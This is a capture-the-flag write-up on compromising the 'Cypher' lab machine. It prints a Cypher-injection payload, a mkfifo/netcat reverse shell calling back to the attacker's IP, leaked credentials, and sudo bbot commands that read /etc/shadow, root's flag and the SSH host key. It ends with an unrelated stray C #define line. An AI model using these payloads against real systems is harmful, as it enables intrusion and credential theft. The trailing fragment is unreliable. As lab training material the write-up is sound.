RECON

Port Scan

$ rustscan -a $target_ip --ulimit 1000 -r 1-65535 -- -A -sC -Pn

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMurODrr5ER4wj9mB2tWhXcLIcrm4Bo1lIEufLYIEBVY4h4ZROFj2+WFnXlGNqLG6ZB+DWQHRgG/6wg71wcElxA=
|   256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEqadcsjXAxI3uSmNBA8HUMR3L4lTaePj3o6vhgPuPTi
80/tcp open  http    syn-ack nginx 1.24.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://cypher.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Website: http://cypher.htb/

Port 80

A cool website for pentesters:

http://cypher.htb/demo redirects us to http://cypher.htb/demo, a Sign-in page:

From the page source, we confirm it's a Java-based web application running Neo4j as its database. We also identify several API endpoints:

HTML
<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="utf-8">
  <title>Login</title>
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link type="text/css" rel="stylesheet" href="/bootstrap.min.css">
  <script src="jquery-3.6.1.min.js"></script>
  <script src="bootstrap.bundle.min.js"></script>
  <script src="bootstrap-notify.min.js"></script>
[...]
 <div class="container">
    <div class="row justify-content-center mt-5">
      <div class="col-md-6">
        <h3 class="card-title text-center mb-4"><img src="logo.png" class="mx-3" style="width: 60px" />Sign In</h3>
        <form action="/api/auth" method="POST">
[...]
  <script>
    // TODO: don't store user accounts in neo4j
    function doLogin(e) {
      e.preventDefault();
      var username = $("#usernamefield").val();
      var password = $("#passwordfield").val();
      $.ajax({
        url: '/api/auth',
        type: 'POST',
        contentType: 'application/json',
        data: JSON.stringify({ username: username, password: password }),
        success: function (r) {
          window.location.replace("/demo");
        },
        error: function (r) {
          if (r.status == 401) {
            notify("Access denied");
          } else {
            notify(r.responseText);
          }
        }
      });
    }
[...]

We can send a POST request to /api/auth for authentication to login:

Fuzzing

Dirsearch

Enumerate directories for the web application:

$ dirsearch -u 'http://cypher.htb' -X 404

[21:19:26] Scanning: 
[21:19:54] 200 -    5KB - /about
[21:19:55] 200 -    5KB - /about.html
[21:20:16] 307 -     0B - /api  ->  /api/docs
[21:20:16] 307 -     0B - /api/  ->  http://cypher.htb/api/api
[21:20:34] 307 -     0B - /demo  ->  /login
[21:20:34] 307 -     0B - /demo/  ->  http://cypher.htb/api/demo
[21:20:50] 200 -    4KB - /index
[21:20:50] 200 -    4KB - /index.html
[21:20:56] 200 -    4KB - /login
[21:20:57] 200 -    4KB - /login.html
[21:21:32] 301 -   178B - /testing  ->  http://cypher.htb/testing/

Task Completed

We uncover a suspicious path http://cypher.htb/testing/, which contains a jar file:

Download it to our attack machine.

WEB

APOC

Overview

The file custom-apoc-extension-1.0-SNAPSHOT.jar suggests it's a Java Archive (JAR) file, likely related to APOC (Awesome Procedures on Cypher), an extension for Neo4j, the popular graph database.

  • APOC is a library of procedures and functions that extends the functionality of Neo4j.
  • Custom extensions allow users to write Java-based stored procedures that can be called within Cypher queries.
  • The SNAPSHOT suffix indicates it's a development build, meaning it might be an unfinished or experimental version.

A JAR file is just a ZIP archive. Extract it using:

Bash
unzip custom-apoc-extension-1.0-SNAPSHOT.jar -d extracted_apoc

And inspect it:

$ tree extracted_apoc

extracted_apoc
├── com
│   └── cypher
│       └── neo4j
│           └── apoc
│               ├── CustomFunctions$StringOutput.class
│               ├── CustomFunctions.class
│               ├── HelloWorldProcedure$HelloWorldOutput.class
│               └── HelloWorldProcedure.class
└── META-INF
    ├── MANIFEST.MF
    └── maven
        └── com.cypher.neo4j
            └── custom-apoc-extension
                ├── pom.properties
                └── pom.xml

9 directories, 7 files

META-INF/MANIFEST.MF Contains metadata:

$ cat extracted_apoc/META-INF/MANIFEST.MF

Manifest-Version: 1.0
Created-By: Maven JAR Plugin 3.4.1
Build-Jdk-Spec: 22

Reversing | jadx

Java class files (.class) contain executable bytecode, that we can decompile them using jadx (an open-source decompiler):

Bash
jadx -d decompiled_apoc extracted_apoc

After decompilation, the directory structure looks like this:

$ tree decompiled_apoc

decompiled_apoc
└── sources
    └── com
        └── cypher
            └── neo4j
                └── apoc
                    ├── CustomFunctions.java
                    └── HelloWorldProcedure.java

6 directories, 2 files

The HelloWorldProcedure.java is just a basic demo, but CustomFunctions.java contains custom functions specifically designed for the web application—this is where things get interesting:

Java
package com.cypher.neo4j.apoc;

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.util.Arrays;
import java.util.concurrent.TimeUnit;
import java.util.stream.Stream;
import org.neo4j.procedure.Description;
import org.neo4j.procedure.Mode;
import org.neo4j.procedure.Name;
import org.neo4j.procedure.Procedure;

/* loaded from: CustomFunctions.class */
public class CustomFunctions {
    @Procedure(name = "custom.getUrlStatusCode", mode = Mode.READ)
    @Description("Returns the HTTP status code for the given URL as a string")
    public Stream<StringOutput> getUrlStatusCode(@Name("url") String url) throws Exception {
        if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://")) {
            url = "https://" + url;
        }
        String[] command = {"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url};
        System.out.println("Command: " + Arrays.toString(command));
        Process process = Runtime.getRuntime().exec(command);
        BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
        BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
        StringBuilder errorOutput = new StringBuilder();
        while (true) {
            String line = errorReader.readLine();
            if (line == null) {
                break;
            }
            errorOutput.append(line).append("\n");
        }
        String statusCode = inputReader.readLine();
        System.out.println("Status code: " + statusCode);
        boolean exited = process.waitFor(10L, TimeUnit.SECONDS);
        if (!exited) {
            process.destroyForcibly();
            statusCode = "0";
            System.err.println("Process timed out after 10 seconds");
        } else {
            int exitCode = process.exitValue();
            if (exitCode != 0) {
                statusCode = "0";
                System.err.println("Process exited with code " + exitCode);
            }
        }
        if (errorOutput.length() > 0) {
            System.err.println("Error output:\n" + errorOutput.toString());
        }
        return Stream.of(new StringOutput(statusCode));
    }

    /* loaded from: CustomFunctions$StringOutput.class */
    public static class StringOutput {
        public String statusCode;

        public StringOutput(String statusCode) {
            this.statusCode = statusCode;
        }
    }
}

This Java class (CustomFunctions.java) defines a Neo4j APOC custom procedure called custom.getUrlStatusCode:

  • It retrieves the HTTP status code of a given URL using curl.
  • It is registered as a Neo4j APOC procedure (@Procedure annotation).The function takes one input parameter (url) and returns a stream containing the HTTP status code (statusCode) as a string.

In Java, using Runtime.getRuntime().exec() is always dangerous, as it opens the door to command injection. The vulnerable command being executed is:

Bash
/bin/sh -c "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} <url>"
  • curl -s → Silent mode (no progress meter).
  • -o /dev/null → Discards the output.
  • --connect-timeout 1 → 1-second timeout.
  • -w %{http_code} → Extracts only the HTTP status code.

Since there's zero input sanitization, we can inject arbitrary shell commands via the url parameter. For example:

Java
custom.getUrlStatusCode("https://example.com; whoami")

If executed on the Neo4j server, this would run:

Bash
/bin/sh -c "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} https://example.com; whoami"

Cypher Injection

Cypher Query

We've identified a command injection entry via the customized function custom.getUrlStatusCode, but we still need to determine when and where it's being executed.

The /api/auth endpoint appears to be the only accessible entry point to interact with the server. Testing it with different inputs, we notice that injecting into the username parameter results in a 400 Bad Request instead of the usual 401 Unauthorized—a strong indicator of a potential injection vulnerability:

By sending a single quote ('), we disrupt the SQL (or Cypher) query structure, triggering a syntax error in the response:

Traceback (most recent call last):
  File "/app/app.py", line 142, in verify_creds
    results = run_cypher(cypher)
  File "/app/app.py", line 63, in run_cypher
    return [r.data() for r in session.run(cypher)]
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/session.py", line 314, in run
    self._auto_result._run(
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 221, in _run
    self._attach()
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 409, in _attach
    self._connection.fetch_message()
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 178, in inner
    func(*args, **kwargs)
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt.py", line 860, in fetch_message
    res = self._process_message(tag, fields)
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt5.py", line 370, in _process_message
    response.on_failure(summary_metadata or {})
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 245, in on_failure
    raise Neo4jError.hydrate(**metadata)
neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError} {message: Failed to parse string literal. The query must contain an even number of non-escaped quotes. (line 1, column 60 (offset: 59))
"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'axura'' return h.value as hash"
                                                            ^}

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/app/app.py", line 165, in login
    creds_valid = verify_creds(username, password)
  File "/app/app.py", line 151, in verify_creds
    raise ValueError(f"Invalid cypher query: {cypher}: {traceback.format_exc()}")
ValueError: Invalid cypher query: MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'axura'' return h.value as hash: Traceback (most recent call last):
  File "/app/app.py", line 142, in verify_creds
    results = run_cypher(cypher)
  File "/app/app.py", line 63, in run_cypher
    return [r.data() for r in session.run(cypher)]
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/session.py", line 314, in run
    self._auto_result._run(
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 221, in _run
    self._attach()
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 409, in _attach
    self._connection.fetch_message()
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 178, in inner
    func(*args, **kwargs)
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt.py", line 860, in fetch_message
    res = self._process_message(tag, fields)
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt5.py", line 370, in _process_message
    response.on_failure(summary_metadata or {})
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 245, in on_failure
    raise Neo4jError.hydrate(**metadata)
neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError} {message: Failed to parse string literal. The query must contain an even number of non-escaped quotes. (line 1, column 60 (offset: 59))
"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'axura'' return h.value as hash"

We can tell that the username input field is being directly used in a Cypher query, and it's vulnerable to Cypher Injection, which is an attack where an attacker manipulates Neo4j's Cypher query language to execute unintended commands—similar to SQL Injection in relational databases.

Looking at the application code structure in the error trace:

File "/app/app.py", line 142, in verify_creds
results = run_cypher(cypher)
File "/app/app.py", line 63, in run_cypher
return [r.data() for r in session.run(cypher)]

The function verify_creds() constructs a Cypher query dynamically using user input. And the function run_cypher(cypher) executes the query without parameterized input, which makes it vulnerable to injection.

Our input ' (single quote) caused an unbalanced string error. From the plain-text exception, the Cypher query being executed is:

Cypher
MATCH (u:USER) -[:SECRET]-> (h:SHA1) 
WHERE u.name = 'axura'' 
RETURN h.value AS hash

This is a Cypher query used in Neo4j to retrieve hashed credentials:

  • MATCH (u:USER) -[:SECRET]-> (h:SHA1) searches the graph database for:
    • A node labeled USER (u).
    • A relationship SECRET that connects USER to another node.
    • A destination node labeled SHA1 (h).
  • WHERE u.name = 'axura'' filters the result to only return nodes where:
    • u.name matches exactly axura'.
  • RETURN h.value AS hash
    • Extracts the hashed password (h.value).
    • Renames the result as hash.

Obviously, the application is not properly escaping user input before inserting it into the Cypher query.

PoC

We can refer to this article for insights on crafting Cypher injection payloads. Given that the server only responds with "Invalid credentials", the best approach is Error-based Blind Injection.

A standard login request returns:

$ curl 'http://cypher.htb/api/auth' \
        -X 'POST' \
        -H 'Content-Type: application/json' \
        --data "{\"username\":\"axura\",\"password\":\"axura\"}"
        
{"detail":"Invalid credentials"}

Starting with a ' as injection to break the query, and ending with // to comment out the redundant queries, we can construct a UNION CALL cypher query with the command-execution function custom.getUrlStatusCode:

Bash
export inj="axura' RETURN h.value as hash UNION CALL custom.getUrlStatusCode('http://10.10.16.3/pwn') YIELD statusCode AS hash RETURN hash;//"

curl -X POST "http://cypher.htb/api/auth" \
     -H "Content-Type: application/json" \
     --data "{\"username\": \"${inj}\", \"password\": \"axura\"}"

From our reverse analysis, we know that custom.getUrlStatusCode() requires a return value via the statusCode variable. To ensure the Cypher query executes properly, we must use YIELD and RETURN statements, as described in this post. As a prove of concept, our HTTP server receives a callback:

RCE

After establishing the Cypher Injection primitive, we can now exploit the Command Injection vulnerability in custom.getUrlStatusCode(), which directly executes input via Runtime.getRuntime().exec() without sanitization:

Java
{"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url}

By embedding a reverse shell payload in the Cypher query, we can gain remote access:

Bash
export inj="axura' RETURN h.value as hash UNION CALL custom.getUrlStatusCode('http://10.10.16.3/pwn;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.3 4444 >/tmp/f') YIELD statusCode AS hash RETURN hash;//"

curl -X POST "http://cypher.htb/api/auth" \
     -H "Content-Type: application/json" \
     --data "{\"username\": \"${inj}\", \"password\": \"axura\"}"

If successful, this grants a reverse shell as neo4j:

USER

Enumeration

From the ip a result, we know the web server hosted inside a Docker container:

3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 2a:1e:82:22:db:58 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
4: br-8d0e166afc01: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 46:6e:b6:c9:0c:b5 brd ff:ff:ff:ff:ff:ff
    inet 172.18.0.1/16 brd 172.18.255.255 scope global br-8d0e166afc01
       valid_lft forever preferred_lft forever
5: vethfa18e45@if2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-8d0e166afc01 state UP group default 
    link/ether f2:fe:34:50:e4:ab brd ff:ff:ff:ff:ff:ff link-netnsid 0

As an initial foothold after compromising the web root, the next step is to enumerate configuration files for sensitive data such as credentials, API keys, or service configurations:

$ cd ~
$ pwd
/var/lib/neo4j

$ ls
certificates
data
import
labs
licenses
packaging_info
plugins
products
run

$ cat data/dbms/auth.ini
neo4j:SHA-256,6a4277a4653a8536cff2d6f44fc698621e237d33a0fa36a57c55fb3bfead7b48,3d19d683dc15384a6cae9dc840740e93116cae7b0786b9dfee4dbbacbc13a65c,1024:

Uncover a valid normal user graphasm:

$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
[...]
graphasm:x:1000:1000:graphasm:/home/graphasm:/bin/bash
neo4j:x:110:111:neo4j,,,:/var/lib/neo4j:/bin/bash
_laurel:x:999:987::/var/log/laurel:/bin/false

Additionally, we have read permission to access the /home directory of graphasm user:

$ ls /home -l
total 4
drwxr-xr-x 4 graphasm graphasm 4096 Feb 17 12:40 graphasm

Of course this is worth our attention. Surprisingly, there's the user.txt for our first flag - but we do not have the permission to read it:

$ ls
bbot_preset.yml
user.txt

$ cat user*
cat: user.txt: Permission denied

$ ls -l
total 8
-rw-r--r-- 1 graphasm graphasm 156 Feb 14 12:35 bbot_preset.yml
-rw-r----- 1 root     graphasm  33 Mar  1 22:37 user.txt

But there's a configuration file for the bbot program, which we should be familiar as Bug Bounty Hunters:

$ cat bbot*
targets:
  - ecorp.htb

output_dir: /home/graphasm/bbot_scans

config:
  modules:
    neo4j:
      username: neo4j
      password: cU4btyib.20xtCMCXkBmerhK

Password Reusing

Since now we have found a password string cU4btyib.20xtCMCXkBmerhK, we can test if it works for our target user graphasm:

Take the user flag.

ROOT

Sudo

Looks like graphasm user is a pentester working for our target. We can check SUDO privileges:

graphasm@cypher:~$ sudo -l
Matching Defaults entries for graphasm on cypher:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User graphasm may run the following commands on cypher:
    (ALL) NOPASSWD: /usr/local/bin/bbot

We have confirmed that graphasm has unrestricted sudo access to bbot, meaning we can execute it as root without requiring a password.

Bbot

bbot (BIGHUGE BLS OSINT TOOL) is an OSINT (Open Source Intelligence) automation tool used for reconnaissance, subdomain enumeration, and web security testing. We can access its source code on Github (OK, it looks like this machine is sponsored by the black lantern security team).

We can inspect available command options with the -h argument:

graphasm@cypher:~$ sudo /usr/local/bin/bbot -h

Target:
  -t TARGET [TARGET ...], --targets TARGET [TARGET ...]
                        Targets to seed the scan
  -w WHITELIST [WHITELIST ...], --whitelist WHITELIST [WHITELIST ...]
                        What's considered in-scope (by default it's the same as --targets)
  -b BLACKLIST [BLACKLIST ...], --blacklist BLACKLIST [BLACKLIST ...]
                        Don't touch these things
  --strict-scope        Don't consider subdomains of target/whitelist to be in-scope

Presets:
  -p [PRESET ...], --preset [PRESET ...]
                        Enable BBOT preset(s)
  -c [CONFIG ...], --config [CONFIG ...]
                        Custom config options in key=value format: e.g. 'modules.shodan.api_key=1234'
  -lp, --list-presets   List available presets.

Modules:
  -m MODULE [MODULE ...], --modules MODULE [MODULE ...]
  -lmo, --list-module-options
                        Show all module config options
  -em MODULE [MODULE ...], --exclude-modules MODULE [MODULE ...]
                        Exclude these modules.
  -f FLAG [FLAG ...], --flags FLAG [FLAG ...]
                        Enable modules by flag. Choices: social-enum,web-basic,web-thorough,service-enum,subdomain-hijack,web-screenshots,web-paramminer,deadly,portscan,slow,cloud-enum,email-enum,code-enum,passive,baddns,active,affiliates,subdomain-enum,aggressive,safe,report,iis-shortnames
  -lf, --list-flags     List available flags.
  -rf FLAG [FLAG ...], --require-flags FLAG [FLAG ...]
                        Only enable modules with these flags (e.g. -rf passive)
  -ef FLAG [FLAG ...], --exclude-flags FLAG [FLAG ...]
                        Disable modules with these flags. (e.g. -ef aggressive)
  --allow-deadly        Enable the use of highly aggressive modules

Scan:
  -n SCAN_NAME, --name SCAN_NAME
                        Name of scan (default: random)
  -v, --verbose         Be more verbose
  -d, --debug           Enable debugging
  -s, --silent          Be quiet
  --force               Run scan even in the case of condition violations or failed module setups
  -y, --yes             Skip scan confirmation prompt
  --dry-run             Abort before executing scan
  --current-preset      Show the current preset in YAML format
  --current-preset-full
                        Show the current preset in its full form, including defaults

Output:
  -o DIR, --output-dir DIR
                        Directory to output scan results
  -om MODULE [MODULE ...], --output-modules MODULE [MODULE ...]
                        Output module(s). Choices: websocket,web_report,slack,http,asset_inventory,emails,subdomains,python,csv,discord,neo4j,json,txt,teams,stdout,splunk
  --json, -j            Output scan data in JSON format
  --brief, -br          Output only the data itself
  --event-types EVENT_TYPES [EVENT_TYPES ...]
                        Choose which event types to display

Module dependencies:
  Control how modules install their dependencies

  --no-deps             Don't install module dependencies
  --force-deps          Force install all module dependencies
  --retry-deps          Try again to install failed module dependencies
  --ignore-failed-deps  Run modules even if they have failed dependencies
  --install-all-deps    Install dependencies for all modules

Misc:
  --version             show BBOT version and exit
  -H CUSTOM_HEADERS [CUSTOM_HEADERS ...], --custom-headers CUSTOM_HEADERS [CUSTOM_HEADERS ...]
                        List of custom headers as key value pairs (header=value).
  --custom-yara-rules CUSTOM_YARA_RULES, -cy CUSTOM_YARA_RULES
                        Add custom yara rules to excavate

We can either look for Arbitrary Command Execution or Arbitrary File Read/Write primitives from the program:

  • -d: Enables debugging for Read Primitives.
  • --dry-run: Runs bbot in test mode without actually executing the scan, so that we don't need to provide a target.
  • -o: A Write Primitive to specify directory path.
  • -c: A Write Primitive but in key:value format.
  • -w / -b: Expect a white/black-list file to read - a Read Primitive.
  • --custom-yara-rules (-cy): Expects a YARA rules file to config - a Read/Write Primitive.

Several arguments in bbot accept file paths, giving us control over file input. If the program does not enforce file format validation, we can exploit this to read arbitrary files.

After testing different options, we confirm that --custom-yara-rules (-cy) accepts any file without format verification:

Bash
sudo bbot -d --dry-run -cy /root/root.txt

And we can uncover how it integrates the "YAML Rule" in debug mode:

The -w flag also leak file as it reads the "Whitelist":

Bash
sudo bbot -d --dry-run -w /root/root.txt

We can also leak the Shadow file:

Bash
sudo bbot -d --dry-run -cy /etc/shadow

Leak SSH private key:

Bash
sudo bbot -d --dry-run -cy /etc/ssh/ssh_host_rsa_key


#define LABYRINTH (void *)alloc_page(GFP_ATOMIC)